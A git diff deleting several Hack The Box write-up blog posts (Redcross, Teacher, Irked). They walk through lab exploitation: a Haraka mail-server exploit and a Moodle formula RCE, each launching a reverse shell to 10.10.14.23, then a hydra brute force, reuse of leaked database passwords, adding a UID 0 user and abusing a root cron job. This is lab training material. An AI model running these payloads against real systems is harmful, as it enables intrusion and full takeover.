-/bin/sh: 0: can't access tty; job control turned off -$ telnet 127.0.0.1 1025 -Trying 127.0.0.1... -Connected to 127.0.0.1. -Escape character is '^]'. -220 redcross ESMTP Haraka 2.8.8 ready -quit -``` - -The exploit needs to be modified slightly because the port is hardcoded and needs to be changed to 1025. - -Line 123 needs to be changed to the following: - -```python -... -s = smtplib.SMTP(mailserver,1025) -... -``` - -We can use vi to create the exploit .py file in /dev/shm, then execute it to spawn a reverse shell: - -Note: The email address must contain the `redcross.htb` domain. - -```console -www-data@redcross:/dev/shm$ ./h.py -c "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.23\",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'" -t penelope@redcross.htb -f penelope@redcross.htb -m redcross -htb -m redcrossn/sh\",\"-i\"]);'" -t penelope@redcross.htb -f penelope@redcross.h -## ## ### ######## ### ## ## #### ######## #### -## ## ## ## ## ## ## ## ## ## ## ## ## ## -## ## ## ## ## ## ## ## ## ## ## ## ## ## -######### ## ## ######## ## ## ##### ## ######## ## -## ## ######### ## ## ######### ## ## ## ## ## ## -## ## ## ## ## ## ## ## ## ## ## ## ## ## -## ## ## ## ## ## ## ## ## ## #### ## ## #### - --o- by Xychix, 26 January 2017 --- --o- xychix [at] hotmail.com --- --o- exploit haraka node.js mailserver <= 2.8.8 (with attachment plugin activated) -- - --i- info: https://github.com/haraka/Haraka/pull/1606 (the change that fixed this) - -Send harariki to penelope@redcross.htb, attachment saved as harakiri-20181111-152151.zip, commandline: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.23",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' , mailserver redcross is used for delivery -Content-Type: multipart/mixed; boundary="===============2632093882109835759==" -MIME-Version: 1.0 -Subject: harakiri -From: penelope@redcross.htb -To: penelope@redcross.htb - ---===============2632093882109835759== -Content-Type: text/plain; charset="us-ascii" -MIME-Version: 1.0 -Content-Transfer-Encoding: 7bit - -harakiri ---===============2632093882109835759== -Content-Type: application/octet-stream; Name="harakiri.zip" -MIME-Version: 1.0 -Content-Transfer-Encoding: base64 -Content-Disposition: attachment; filename="harakiri.zip" - -UEsDBBQAAAAIALl6a00BtHNYbAEAAI0BAADyAAAAYSI7cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0 -LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NL -X1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTAuMTQuMjMiLDU1NTUpKTtvcy5kdXAyKHMuZmlsZW5v -KCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTsgb3MuZHVwMihzLmZpbGVubygpLDIpO3A9c3Vi -cHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pOyc7ZWNobyAiYS56aXAL8GZmEWFgYOBg2FmV -7Su+rEFdmJGBgZ2ZgYEHKJqRWJSYnVmUqVdSUTI18HRes4HAnt/abo8meZiqyGSIbP2+Kj5g5atE -Zr6yU94blnz4/nTiB66gq1Ml1penXU/Oicw4vKlqj35sQtjuRPeeLr5W05mXLjof98pt6Fz090jS -/mWSky5efTxl986JM3/Nvaq29vBc8Tixz3kGa3X39Ny+OaVy25dPP+Kv7f0ztzffZC8jyz9pp2VC -y6Xkt673/cpy/bC1qupT0zt3/0kGnfILKrWx69y/ILjvpMu2+ceY16/S8eJ1Dva736LCO6VW88Ir -rqnxoX3Tw3d8O2iX8Dk5onnGyesbvSQiQ9rUGH/mrDuidcMsuHWC2yGV5184zs4RdT/OOXvfpyty -r78ct8j/O2lq4JM3e+e282azxgcLaW1QO3YzRCsjKDjnqH6ANyOTCAPu4IOBBkYGtMAM8GZlA4kx -AqEVkLYFqwAAUEsBAhQAFAAAAAgAuXprTQG0c1hsAQAAjQEAAPIAAAAAAAAAAAAAAIABAAAAAGEi -O3B5dGhvbiAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChz -b2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjIz -Iiw1NTU1KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9z -LmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTsn -O2VjaG8gImEuemlwUEsFBgAAAAABAAEAIAEAAHwCAAAAAA== ---===============2632093882109835759==-- - -[HARAKIRI SUCCESS] SMTPDataError is most likely an error unzipping the archive, which is what we want [plugin timeout] -www-data@redcross:/dev/shm$ -``` - -```console -root@ragingunicorn:~/hackthebox/Machines/Redcross# nc -lvnp 5555 -listening on [any] 5555 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.113] 33380 -/bin/sh: 0: can't access tty; job control turned off -$ id -uid=1000(penelope) gid=1000(penelope) groups=1000(penelope) -$ cat user.txt -cat: user.txt: No such file or directory -$ pwd -/ -$ cd /home/penelope -$ cat user.txt -ac899b... -``` - -### Priv esc to root - -The NSS plugin is installed, so SSH can authenticate users from the postgresql database instead of `/etc/passwd` - -```console -$ cat nss-pgsql.conf -connectionstring = hostaddr=127.0.0.1 dbname=unix user=unixnss password=fios@ew023xnw connect_timeout=1 -``` - -We can't read the other file though... - -```console -$ cat nss-pgsql-root.conf -cat: nss-pgsql-root.conf: Permission denied -``` - -With the credentials we can poke inside the database: - -``` -penelope@redcross:/etc$ psql -h 127.0.0.1 -U unixnss -W unix -psql -h 127.0.0.1 -U unixnss -W unix -Password for user unixnss: fios@ew023xnw - -psql (9.6.7) -SSL connection (protocol: TLSv1.2, cipher: ECDHE-RSA-AES256-GCM-SHA384, bits: 256, compression: off) -Type "help" for help. - -unix=> \d -\d - List of relations - Schema | Name | Type | Owner ---------+--------------+----------+---------- - public | group_id | sequence | postgres - public | group_table | table | postgres - public | passwd_table | table | postgres - public | shadow_table | table | postgres - public | user_id | sequence | postgres - public | usergroups | table | postgres -(6 rows) -``` - -Here we can see the user table in which the user we created resides: - -``` -unix=> select * from passwd_table; -select * from passwd_table; - username | passwd | uid | gid | gecos | homedir | shell -----------+------------------------------------+------+------+-------+----------------+----------- - tricia | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 | | /var/jail/home | /bin/bash - snowscan | $1$ANxI97CM$noo3OJtS7FevXzzfR//ih0 | 2020 | 1001 | | /var/jail/home | /bin/bash -(2 rows) -``` - -We'll try adding a new user with password `yolo1234` and set it's UID and GID to 0: - -``` -unix=> insert into passwd_table (username, passwd, uid, gid, homedir) values ('snowscan','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,0,'/root'); -ERROR: permission denied for relation passwd_table -``` - -Too bad, this user doesn't have access... But the web application probably has an account that has the correct rights to add users since we were able to create a user from the web interface earlier. - -The `/var/www/html/admin/pages/actions.php` file contains the credentials we are looking for: `unixusrmgr / dheu%7wjx8B&` - -``` -if($action==='adduser'){ - $username=$_POST['username']; - $passw=generateRandomString(); - $phash=crypt($passw); - $dbconn = pg_connect("host=127.0.0.1 dbname=unix user=unixusrmgr password=dheu%7wjx8B&"); - $result = pg_prepare($dbconn, "q1", "insert into passwd_table (username, passwd, gid, homedir) values ($1, $2, 1001, '/var/jail/home')"); - $result = pg_execute($dbconn, "q1", array($username, $phash)); - echo "Provide this credentials to the user:

"; - echo "$username : $passw

Continue"; -} -``` - -Let's try the same SQL query again with these credentials: - -``` -unix=> insert into passwd_table (username, passwd, uid, gid, homedir) values ('snowscan','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,0,'/root'); -ERROR: permission denied for relation passwd_table -``` - -Ugh. Same problem again, let's try adding a user without setting the UID, but only the GID: - -``` -unix=> insert into passwd_table (username, passwd, gid, homedir) values ('snowscan','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,'/root'); -ERROR: duplicate key value violates unique constraint "passwd_table_username_key" -DETAIL: Key (username)=(snowscan) already exists. -unix=> insert into passwd_table (username, passwd, gid, homedir) values ('snowscan2','$6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1',0,'/root'); -INSERT 0 1 -unix=> select * from passwd_table; - username | passwd | uid | gid | gecos | homedir | shell ------------+----------------------------------------------------------------------------------------------------+------+------+-------+----------------+----------- - tricia | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 | | /var/jail/home | /bin/bash - snowscan | $1$ANxI97CM$noo3OJtS7FevXzzfR//ih0 | 2020 | 1001 | | /var/jail/home | /bin/bash - snowscan2 | $6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UAzEdZxhzd/MbSyjR5Kp1x4rtNCgHsJ1 | 2022 | 0 | | /root | /bin/bash -(3 rows) -``` - -Allright, we can log in now, but still don't have access to read root.txt, we'll need to have a UID of 0 to do that: - -``` -snowscan2@redcross:~$ ls -l -total 12 -drwxr-xr-x 3 root root 4096 Jun 6 14:05 bin -drwxrwxr-x 11 root root 4096 Jun 7 17:32 Haraka-2.8.8 --rw------- 1 root root 33 Jun 8 06:51 root.txt -snowscan2@redcross:~$ cat root.txt -cat: root.txt: Permission denied -``` - -We can now read `nss-pgsql-root.conf` since we are part of root's group and we find more credentials: `unixnssroot / 30jdsklj4d_3` - -``` -snowscan2@redcross:/etc$ ls -l nss-pgsql-root.conf --rw-rw---- 1 root root 540 Jun 8 06:24 nss-pgsql-root.conf -snowscan2@redcross:/etc$ cat nss-pgsql-root.conf -shadowconnectionstring = hostaddr=127.0.0.1 dbname=unix user=unixnssroot password=30jdsklj4d_3 connect_timeout=1 -shadowbyname = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE username = $1 ORDER BY lastchange DESC LIMIT 1; -shadow = SELECT username, passwd, date_part('day',lastchange - '01/01/1970'), min, max, warn, inact, expire, flag FROM shadow_table WHERE (username,lastchange) IN (SELECT username, MAX(lastchange) FROM shadow_table GROUP BY username); -``` - -Using this account, we are able to create a new user with UID 0: - -``` -unix=> insert into passwd_table (username, passwd, uid,gid, homedir) values ('snowscan_root','$6$oTkOZvS...',0,0,'/root'); -INSERT 0 1 -unix=> select * from passwd_table; - username | passwd | uid | gid | gecos | homedir | shell ----------------+----------------------------------------------------------------------------------------------------+------+------+-------+----------------+----------- - tricia | $1$WFsH/kvS$5gAjMYSvbpZFNu//uMPmp. | 2018 | 1001 | | /var/jail/home | /bin/bash - snowscan | $1$ANxI97CM$NZZ3OJtS7FevXzzfR//ih0 | 2020 | 1001 | | /var/jail/home | /bin/bash - snowscan2 | $6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UCzEdZxhzd/MbSy2R5Kp1x4rtNCgHsJ1 | 2022 | 0 | | /root | /bin/bash - snowscan_root | $6$oTkOZvSm$T5279pL/85f822ryylJBp0kHgGRoELCHb4OOBtwmkWWxZ6re/Vlxx6UCzEdZxhzd/MbSy2R5Kp1x4rtNCgHsJ1 | 0 | 0 | | /root | /bin/bash -(4 rows) -``` - -We can't SSH in with this account because of the SSH server settings: - -```console -snowscan2@redcross:/etc/ssh$ grep -i root sshd_config -PermitRootLogin prohibit-password -``` - -But we can `su` to the new user and get the root flag - -```console -snowscan2@redcross:/etc/ssh$ su -l snowscan_root -Password: - -snowscan_root@redcross:~# id -uid=0(snowscan_root) gid=0(root) groups=0(root) - -snowscan_root@redcross:~# cat /root/root.txt -892a1f... -``` \ No newline at end of file diff --git a/_posts/2019-04-20-htb-writeup-teacher.md b/_posts/2019-04-20-htb-writeup-teacher.md deleted file mode 100644 index 6d41bae136..0000000000 --- a/_posts/2019-04-20-htb-writeup-teacher.md +++ /dev/null @@ -1,301 +0,0 @@ ---- -layout: single -title: Teacher - Hack The Box -excerpt: "Teacher uses the Moodle Open Source Learning platform and contains a vulnerability in the math formula that gives us RCE. The credentials for the Moodle application are found in a .png file that contains text instead of an actual image. After getting a shell with the math formula, we find the low privilege user credentials in the MySQL database. We then escalate to root by abusing a backup script running from a cronjob as root." -date: 2019-04-20 -classes: wide -header: - teaser: /assets/images/htb-writeup-teacher/teacher_logo.png -categories: - - hackthebox - - infosec -tags: - - moodle - - mysql - - enumeration - - ctf - - tar - - cronjob ---- - -![](/assets/images/htb-writeup-teacher/teacher_logo.png) - -Teacher uses the Moodle Open Source Learning platform and contains a vulnerability in the math formula that gives us RCE. The credentials for the Moodle application are found in a .png file that contains text instead of an actual image. After getting a shell with the math formula, we find the low privilege user credentials in the MySQL database. We then escalate to root by abusing a backup script running from a cronjob as root. - -## Tools/Exploits/CVEs used - -- [https://blog.ripstech.com/2018/moodle-remote-code-execution/](https://blog.ripstech.com/2018/moodle-remote-code-execution/) -- [https://github.com/StefanoDeVuono/steghide](stehide) - -### Nmap - -Only the HTTP port is open on this box, running the Apache webserver. - -``` -# nmap -F -sC -sV 10.10.10.153 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-01 21:20 EST -Nmap scan report for teacher.htb (10.10.10.153) -Host is up (0.018s latency). -Not shown: 99 closed ports -PORT STATE SERVICE VERSION -80/tcp open http Apache httpd 2.4.25 ((Debian)) -|_http-server-header: Apache/2.4.25 (Debian) -|_http-title: Blackhat highschool -``` - -### Enumerating the website - -![](/assets/images/htb-writeup-teacher/webpage.png) - -The first pass at dirbursting shows the `/moodle` directory, which refers to the [Moodle](https://moodle.org/) Open Source Learning platform. -``` -# gobuster -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 50 -u http://teacher.htb -/.htaccess (Status: 403) -/.htpasswd (Status: 403) -/css (Status: 301) -/fonts (Status: 301) -/images (Status: 301) -/javascript (Status: 301) -/js (Status: 301) -/manual (Status: 301) -/moodle (Status: 301) -/phpmyadmin (Status: 403) -/server-status (Status: 403) -===================================================== -2018/12/01 14:02:42 Finished -===================================================== -``` - -I also spidered the host with Burp hoping to catch other stuff. I noticed that the image file `5.png` wasn't showing up with the same icon as the rest of the other files: - -![](/assets/images/htb-writeup-teacher/images.png) - -When we browse to the gallery, we also see there's an image missing: - -![](/assets/images/htb-writeup-teacher/slide.png) - -The source code contains the file as well as a weird javascript console message: - -![](/assets/images/htb-writeup-teacher/source.png) - -The `5.png` image file exists but isn't a valid image: - -![](/assets/images/htb-writeup-teacher/cannot.png) - -If we look at the file with Burp, we see that the file contains part of a password: `Th4C00lTheacha`. We can guess that the user is probably named Giovanni based on the note. - -![](/assets/images/htb-writeup-teacher/password.png) - -### Moodle enumeration - -The Moodle application is running on this server, as shown below: - -![](/assets/images/htb-writeup-teacher/moodle.png) - -Guest login is enabled but we don't have access to anything useful with this account. - -We got a partial password from the `5.png` file but we're missing the last letter. I used the following script to generate a wordlist: - -```python -f = open('pwd', 'w') -for i in range (0,127): - f.write('Th4C00lTheacha{}\n'.format(chr(i))) -``` - -Then using hydra we can bruteforce the `giovanni` account. We'll match on `Set-Cookie` as a positive response since the cookie is only set when we submit the correct credentials. - -``` -# hydra -I -l giovanni -P pwd.txt 10.10.10.153 http-post-form "/moodle/login/index.php:username=^USER^&password=^PASS^:S=Set-Cookie" -Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. - -Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-01 21:37:44 -[DATA] max 16 tasks per 1 server, overall 16 tasks, 128 login tries (l:1/p:128), ~8 tries per task -[DATA] attacking http-post-form://10.10.10.153:80//moodle/login/index.php:username=^USER^&password=^PASS^:S=Set-Cookie -[80][http-post-form] host: 10.10.10.153 login: giovanni password: Th4C00lTheacha# -1 of 1 target successfully completed, 1 valid password found -Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-01 21:38:06 -``` - -We found the password: `Th4C00lTheacha#` - -We can now log in to the Moodle webpage with `giovanni / Th4C00lTheacha#`: - -![](/assets/images/htb-writeup-teacher/giovanni.png) - -I googled vulnerabilities for Moodle and found a [blog post](https://blog.ripstech.com/2018/moodle-remote-code-execution/) about an RCE vulnerability in the Math formulas of the Quiz component. Basically, the math formula uses the PHP `eval` function to return the result and the input sanitization that is put in place in Moodle is not sufficient and can bypassed. Once we have RCE we can spawn a reverse shell. - -First we add a new quiz: -![](/assets/images/htb-writeup-teacher/quiz.png) - -Then create a question with 'Calculated' type: -![](/assets/images/htb-writeup-teacher/calculated.png) - -We can put anything in the question name and text but for the formula we enter ``/*{a*/`$_GET[0]`;//{x}}`` -![](/assets/images/htb-writeup-teacher/formula.png) - -The formula will execute code we put in the `$_GET['0']` parameter: - -`10.10.10.153/moodle/question/question.php?returnurl=%2Fmod%2Fquiz%2Fedit.php%3Fcmid%3D7%26addonpage%3D0&appendqnumstring=addquestion&scrollpos=0&id=6&wizardnow=datasetitems&cmid=7&0=(nc -e /bin/bash 10.10.14.23 4444)` - -![](/assets/images/htb-writeup-teacher/formula2.png) - -This'll spawn a shell for us: - -``` -# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.153] 49210 -id -uid=33(www-data) gid=33(www-data) groups=33(www-data) -python -c 'import pty;pty.spawn("/bin/bash")' -www-data@teacher:/var/www/html/moodle/question$ -``` - -### Getting access to giovanni user - -Like any web application with a database backend, the first thing I do once I get a shell is look for hardcoded database credentials in the PHP configuration file of the application. The Moodle configuration file contains the `root` account password for the MySQL database: - -``` -www-data@teacher:/var/www/html/moodle$ cat config.php -dbtype = 'mariadb'; -$CFG->dblibrary = 'native'; -$CFG->dbhost = 'localhost'; -$CFG->dbname = 'moodle'; -$CFG->dbuser = 'root'; -$CFG->dbpass = 'Welkom1!'; -``` - -List of databases: -``` -MariaDB [(none)]> show databases; -show databases; -+--------------------+ -| Database | -+--------------------+ -| information_schema | -| moodle | -| mysql | -| performance_schema | -| phpmyadmin | -+--------------------+ -``` - -The `mdl_user` table contains passwords: -``` -MariaDB [moodle]> show tables; -show tables; -+----------------------------------+ -| Tables_in_moodle | -+----------------------------------+ -... -| mdl_user | -... -``` - -``` -MariaDB [moodle]> select * from mdl_user; -select * from mdl_user; -+------+--------+-----------+--------------+---------+-----------+------------+-------------+--------------------------------------------------------------+----------+------------+----------+----------------+-----------+-----+-------+-------+-----+-----+--------+--------+-------------+------------+---------+------+---------+------+--------------+-------+----------+-------------+------------+------------+--------------+---------------+--------+---------+-----+---------------------------------------------------------------------------+-------------------+------------+------------+-------------+---------------+-------------+-------------+--------------+--------------+----------+------------------+-------------------+------------+---------------+ -| id | auth | confirmed | policyagreed | deleted | suspended | mnethostid | username | password | idnumber | firstname | lastname | email | emailstop | icq | skype | yahoo | aim | msn | phone1 | phone2 | institution | department | address | city | country | lang | calendartype | theme | timezone | firstaccess | lastaccess | lastlogin | currentlogin | lastip | secret | picture | url | description | descriptionformat | mailformat | maildigest | maildisplay | autosubscribe | trackforums | timecreated | timemodified | trustbitmask | imagealt | lastnamephonetic | firstnamephonetic | middlename | alternatename | -+------+--------+-----------+--------------+---------+-----------+------------+-------------+--------------------------------------------------------------+----------+------------+----------+----------------+-----------+-----+-------+-------+-----+-----+--------+--------+-------------+------------+---------+------+---------+------+--------------+-------+----------+-------------+------------+------------+--------------+---------------+--------+---------+-----+---------------------------------------------------------------------------+-------------------+------------+------------+-------------+---------------+-------------+-------------+--------------+--------------+----------+------------------+-------------------+------------+---------------+ -| 1 | manual | 1 | 0 | 0 | 0 | 1 | guest | $2y$10$ywuE5gDlAlaCu9R0w7pKW.UCB0jUH6ZVKcitP3gMtUNrAebiGMOdO | | Guest user | | root@localhost | 0 | | | | | | | | | | | | | en | gregorian | | 99 | 0 | 0 | 0 | 0 | | | 0 | | This user is a special user that allows read-only access to some courses. | 1 | 1 | 0 | 2 | 1 | 0 | 0 | 1530058999 | 0 | NULL | NULL | NULL | NULL | NULL | -| 2 | manual | 1 | 0 | 0 | 0 | 1 | admin | $2y$10$7VPsdU9/9y2J4Mynlt6vM.a4coqHRXsNTOq/1aA6wCWTsF2wtrDO2 | | Admin | User | gio@gio.nl | 0 | | | | | | | | | | | | | en | gregorian | | 99 | 1530059097 | 1530059573 | 1530059097 | 1530059307 | 192.168.206.1 | | 0 | | | 1 | 1 | 0 | 1 | 1 | 0 | 0 | 1530059135 | 0 | NULL | | | | | -| 3 | manual | 1 | 0 | 0 | 0 | 1 | giovanni | $2y$10$38V6kI7LNudORa7lBAT0q.vsQsv4PemY7rf/M1Zkj/i1VqLO0FSYO | | Giovanni | Chhatta | Giio@gio.nl | 0 | | | | | | | | | | | | | en | gregorian | | 99 | 1530059681 | 1543718703 | 1543718276 | 1543718446 | 10.10.14.23 | | 0 | | | 1 | 1 | 0 | 2 | 1 | 0 | 1530059291 | 1530059291 | 0 | | | | | | -| 1337 | manual | 0 | 0 | 0 | 0 | 0 | Giovannibak | 7a860966115182402ed06375cf0a22af | | | | | 0 | | | | | | | | | | | | | en | gregorian | | 99 | 0 | 0 | 0 | 0 | | | 0 | | NULL | 1 | 1 | 0 | 2 | 1 | 0 | 0 | 0 | 0 | NULL | NULL | NULL | NULL | NULL | -+------+--------+-----------+--------------+---------+-----------+------------+-------------+--------------------------------------------------------------+----------+------------+----------+----------------+-----------+-----+-------+-------+-----+-----+--------+--------+-------------+------------+---------+------+---------+------+--------------+-------+----------+-------------+------------+------------+--------------+---------------+--------+---------+-----+---------------------------------------------------------------------------+-------------------+------------+------------+-------------+---------------+-------------+-------------+--------------+--------------+----------+------------------+-------------------+------------+---------------+ -4 rows in set (0.00 sec) -``` - -The `Giovannibak` account hash the `7a860966115182402ed06375cf0a22af` MD5 hash, which is `expelled` if we look it up on [https://hashkiller.co.uk/md5-decrypter.aspx](https://hashkiller.co.uk/md5-decrypter.aspx). - -``` -www-data@teacher:/$ su -l giovanni -Password: expelled - -giovanni@teacher:~$ cat user.txt -cat user.txt -fa9ae... -``` - -### Priv esc - -The `/home/giovanni/work` directory contains a bunch of files, but the `backup_courses.tar.gz` timestamp keep changing every minute so we can assume the file is being created by a cron job running as root: - -``` -giovanni@teacher:~/work$ ls -lR -ls -lR -.: -total 8 -drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 04:58 courses -drwxr-xr-x 3 giovanni giovanni 4096 Jun 27 04:34 tmp - -./courses: -total 4 -drwxr-xr-x 2 root root 4096 Jun 27 04:15 algebra - -./courses/algebra: -total 4 --rw-r--r-- 1 giovanni giovanni 109 Jun 27 04:12 answersAlgebra - -./tmp: -total 8 --rwxrwxrwx 1 root root 256 Dec 2 03:52 backup_courses.tar.gz -drwxrwxrwx 3 root root 4096 Jun 27 04:58 courses - -./tmp/courses: -total 4 -drwxrwxrwx 2 root root 4096 Jun 27 04:15 algebra - -./tmp/courses/algebra: -total 4 --rwxrwxrwx 1 giovanni giovanni 109 Jun 27 04:12 answersAlgebra - -giovanni@teacher:~/work$ date -Sun Dec 2 03:52:38 CET 2018 -``` - -The backup script that runs as root is located in `/usr/bin/backup.sh`: -``` -#!/bin/bash -cd /home/giovanni/work; -tar -czvf tmp/backup_courses.tar.gz courses/*; -cd tmp; -tar -xf backup_courses.tar.gz; -chmod 777 * -R; -``` - -We can get the root flag by replacing the `courses` directory with a symlink to `/root`, waiting for the next archive to be created then untar it to retrieve the root flag: -``` -giovanni@teacher:~/work$ mv courses test -giovanni@teacher:~/work$ ln -s /root courses -[ ... wait a minute ...] -giovanni@teacher:~/work/tmp/courses$ cat root.txt -cat root.txt -4f3a8... -``` - -The cronjob changes the permissions to 777 when it extracts the backup archive. If we swap the `courses` directory in the `~/work/tmp` folder with a symlink to `/etc` it'll change the permissions of `/etc` and everything in it to 777: -``` -giovanni@teacher:~/work/tmp$ rm -rf courses -giovanni@teacher:~/work/tmp$ ln -s /etc courses - -giovanni@teacher:~/work/tmp$ ls -l / | grep etc -ls -l / | grep etc -drwxrwxrwx 85 root root 4096 Apr 18 21:55 etc -``` - -Now that we have complete read-write access to anything in `/etc` we can change the password of the root user to anything we want: -``` -giovanni@teacher:/etc$ mkpasswd -m sha-512 yolo1234 -$6$jfdDr.oQ3xp6H/Em$iIPF1i31pZ/SeZe31/LDhruZFflDbmiFdsln.BA2w./lOtMUHMZYLOwsPAJaufSB4/Sn/gNIwZMWquEGR.sh1/ -``` - -After editing the `/etc/shadow` file we can log in as root: -``` -giovanni@teacher:/etc$ su -l root -Password: -root@teacher:~# id -uid=0(root) gid=0(root) groups=0(root) -``` diff --git a/_posts/2019-04-27-htb-writeup-irked.md b/_posts/2019-04-27-htb-writeup-irked.md deleted file mode 100644 index 546f51eea1..0000000000 --- a/_posts/2019-04-27-htb-writeup-irked.md +++ /dev/null @@ -1,222 +0,0 @@ ---- -layout: single -title: Irked - Hack The Box -excerpt: "Irked is an easy box running a backdoored UnrealIRC installation. I used a Metasploit module to get a shell then ran `steghide` to obtain the SSH credentials for the low privileged user then got root by exploiting a vulnerable SUID binary." -date: 2019-04-27 -classes: wide -header: - teaser: /assets/images/htb-writeup-irked/irked_logo.png -categories: - - hackthebox - - infosec -tags: - - ctf - - stego - - cve - - metasploit - - suid ---- - -![](/assets/images/htb-writeup-irked/irked_logo.png) - -Irked is an easy box running a backdoored UnrealIRC installation. I used a Metasploit module to get a shell then ran `steghide` to obtain the SSH credentials for the low privileged user then got root by exploiting a vulnerable SUID binary. - -## Tools/Exploits/CVEs used - -- steghide -- metasploit - -## Summary - -- UnrealIRCd MSF exploit for initial foothold -- steghide encoded file containing password for user -- SUID binary for priv esc - -### Nmap - -Aside from the typical Apache and OpenSSH services, I noticed that UnrealIRCd is installed. - -``` -# nmap -p- -sC -sV 10.10.10.117 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-17 14:02 EST -Nmap scan report for 10.10.10.117 -Host is up (0.019s latency). -Not shown: 65528 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0) -| ssh-hostkey: -| 1024 6a:5d:f5:bd:cf:83:78:b6:75:31:9b:dc:79:c5:fd:ad (DSA) -| 2048 75:2e:66:bf:b9:3c:cc:f7:7e:84:8a:8b:f0:81:02:33 (RSA) -| 256 c8:a3:a2:5e:34:9a:c4:9b:90:53:f7:50:bf:ea:25:3b (ECDSA) -|_ 256 8d:1b:43:c7:d0:1a:4c:05:cf:82:ed:c1:01:63:a2:0c (ED25519) -80/tcp open http Apache httpd 2.4.10 ((Debian)) -|_http-server-header: Apache/2.4.10 (Debian) -|_http-title: Site doesn't have a title (text/html). -111/tcp open rpcbind 2-4 (RPC #100000) -| rpcinfo: -| program version port/proto service -| 100000 2,3,4 111/tcp rpcbind -| 100000 2,3,4 111/udp rpcbind -| 100024 1 33436/udp status -|_ 100024 1 50397/tcp status -6697/tcp open irc UnrealIRCd -8067/tcp open irc UnrealIRCd -50397/tcp open status 1 (RPC #100024) -65534/tcp open irc UnrealIRCd -Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Webpage - -The main page just has a picture and a note about IRC. - -![](/assets/images/htb-writeup-irked/web.png) - -### UnrealIRCd exploitation - -The box is running UnrealIRCd and searchsploit shows there's an MSF exploit for it: -``` -root@ragingunicorn:~/Downloads# searchsploit unrealirc -UnrealIRCd 3.2.8.1 - Backdoor Command Execution (Metasploit) -``` - -Getting a shell with Metasploit is easy: -``` -msf5 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options - -Module options (exploit/unix/irc/unreal_ircd_3281_backdoor): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - RHOSTS 10.10.10.117 yes The target address range or CIDR identifier - RPORT 8067 yes The target port (TCP) - - -Payload options (cmd/unix/reverse): - - Name Current Setting Required Description - ---- --------------- -------- ----------- - LHOST 10.10.14.23 yes The listen address (an interface may be specified) - LPORT 4444 yes The listen port - - -Exploit target: - - Id Name - -- ---- - 0 Automatic Target - -msf exploit(unix/irc/unreal_ircd_3281_backdoor) > run - -[*] Started reverse TCP double handler on 10.10.14.23:4444 -[*] 10.10.10.117:8067 - Connected to 10.10.10.117:8067... - :irked.htb NOTICE AUTH :*** Looking up your hostname... -[*] 10.10.10.117:8067 - Sending backdoor command... -[*] Accepted the first client connection... -[*] Accepted the second client connection... -[*] Command: echo O1zcz5ML2uK8OjPk; -[*] Writing to socket A -[*] Writing to socket B -[*] Reading from sockets... -[*] Reading from socket A -[*] A: "O1zcz5ML2uK8OjPk\r\n" -[*] Matching... -[*] B is input... -[*] Command shell session 1 opened (10.10.14.23:4444 -> 10.10.10.117:58328) at 2018-11-17 14:08:40 -0500 -``` - -I have a shell as user `ircd`: -``` -python -c 'import pty;pty.spawn("/bin/bash")' -ircd@irked:~/Unreal3.2$ id -id -uid=1001(ircd) gid=1001(ircd) groups=1001(ircd) -``` - -The `djmardov` user home directroy has a `.backup` file that contains the 